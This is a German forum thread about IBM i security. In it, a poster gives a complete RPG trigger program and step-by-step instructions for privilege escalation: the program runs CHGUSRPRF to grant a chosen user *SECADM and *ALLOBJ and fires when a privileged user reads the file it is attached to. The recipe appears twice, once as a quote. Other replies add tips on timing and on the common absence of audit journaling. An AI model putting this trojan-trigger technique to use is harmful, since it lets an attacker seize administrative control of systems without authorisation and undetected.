Mit Java holt man sich Sicherheitslücken ins Haus...

[CKA]

Aber, wie Dieter schon schreibt und ich schon vielfach nachgewiesen habe, mit *ALLOBJ kann ich mir *SECADM beschaffen.

aha und wie ? würde mich echt interessieren ob man *secadm rechte beschaffen kann ...

[malzusrex]

Mit Gedult und Spucke

spontan fällt mir da folgendes ein:

1.) Schreibe ein kleines Triggerprogramm

h dftactgrp(*no) bnddir('QC2LE')                                           
h datfmt(*dmy.) timfmt(*hms:) datedit(*dmy.) decedit('0,') debug(*yes)     
d True            c                   *On                                  
d False           c                   *Off                                 
d parm1           ds         32768                                         
d parm2           ds                                                       
d system          pr            10i 0 extproc('system')                    
d                                 *   value options(*string)               
c     *Entry        PList                                                  
c     parm1         parm                    parm1                          
c     parm2         parm                    parm2                          
c                   Eval       *inlr = True                                
c                   CallP      System( 'chgusrprf usrprf(MyUser) ' +         
c                                      ' spcaut(*Secadm *AllObj)' ) 

2.) Trigger auf eine Datei klemmen die häufig benötigt, aber eben auch mal frei ist um den trigger ran zu tackern. AUf die Read-Op reicht ja

3.) Warten bis ein User mit ausreichend Berechtigung auf der Datei vorbei schaut.

Und schon hat man *SECADM

Gruß
Ronald

[nico1964]

Und wenn Du dann noch Glück hast und täglich ein IPL stattfindet, dann hast überhaupt kein Problem den richtigen Zeitpunkt zu erwischen

[BenderD]

... dazu braucht es nicht mal *ALLOBJ...
und auf den mesiten Maschinen wird nicht einmal das Audit Journal eingesetzt...

Mit Gedult und Spucke

spontan fällt mir da folgendes ein:

1.) Schreibe ein kleines Triggerprogramm

h dftactgrp(*no) bnddir('QC2LE')                                           
h datfmt(*dmy.) timfmt(*hms:) datedit(*dmy.) decedit('0,') debug(*yes)     
d True            c                   *On                                  
d False           c                   *Off                                 
d parm1           ds         32768                                         
d parm2           ds                                                       
d system          pr            10i 0 extproc('system')                    
d                                 *   value options(*string)               
c     *Entry        PList                                                  
c     parm1         parm                    parm1                          
c     parm2         parm                    parm2                          
c                   Eval       *inlr = True                                
c                   CallP      System( 'chgusrprf usrprf(MyUser) ' +         
c                                      ' spcaut(*Secadm *AllObj)' ) 

2.) Trigger auf eine Datei klemmen die häufig benötigt, aber eben auch mal frei ist um den trigger ran zu tackern. AUf die Read-Op reicht ja

3.) Warten bis ein User mit ausreichend Berechtigung auf der Datei vorbei schaut.

Und schon hat man *SECADM

Gruß
Ronald